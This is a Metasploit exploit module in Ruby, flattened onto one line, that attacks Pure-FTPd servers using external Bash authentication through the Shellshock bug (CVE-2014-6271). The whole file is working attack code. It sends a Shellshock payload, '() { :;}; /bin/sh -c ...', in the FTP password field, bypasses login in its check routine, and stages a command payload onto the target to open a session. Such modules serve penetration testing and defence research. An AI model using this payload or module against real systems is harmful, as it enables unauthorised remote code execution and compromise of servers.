## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q( This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the Pure-FTPd FTP server when it has been compiled with the --with-extauth flag and an external Bash script is used for authentication. If the server is not set up this way, the exploit will fail, even if the version of Bash in use is vulnerable. ), 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'Frank Denis', # Discovery of Pure-FTPd attack vector 'Spencer McIntyre' # Metasploit module ], 'References' => [ [ 'CVE', '2014-6271' ], [ 'CWE', '94' ], [ 'OSVDB', '112004' ], [ 'EDB', '34765' ], [ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ], [ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ] ], 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Targets' => [ [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => :printf } ], [ 'Linux x86_64', { 'Platform' => 'linux', 'Arch' => ARCH_X64, 'CmdStagerFlavor' => :printf } ] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => '2014-09-24', 'Notes' => { 'AKA' => [ 'Shellshock' ], 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], }, )) register_options( [ Opt::RPORT(21), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) ]) deregister_options('FTPUSER', 'FTPPASS') end def check # this check method tries to use the vulnerability to bypass the login username = rand_text_alphanumeric(rand(20) + 1) random_id = (rand(100) + 1) command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" if send_command(username, command) =~ /^2\d\d ok./i disconnect return CheckCode::Safe if banner !~ /pure-ftpd/i command = "echo auth_ok:0; echo end" if send_command(username, command) =~ /^5\d\d login authentication failed/i disconnect return CheckCode::Vulnerable end end disconnect CheckCode::Safe end def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") username = rand_text_alphanumeric(rand(20) + 1) send_command(username, cmd) end def exploit execute_cmdstager(linemax: 500) handler end def send_command(username, cmd) cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" connect send_user(username) password_result = send_pass(cmd) disconnect password_result end end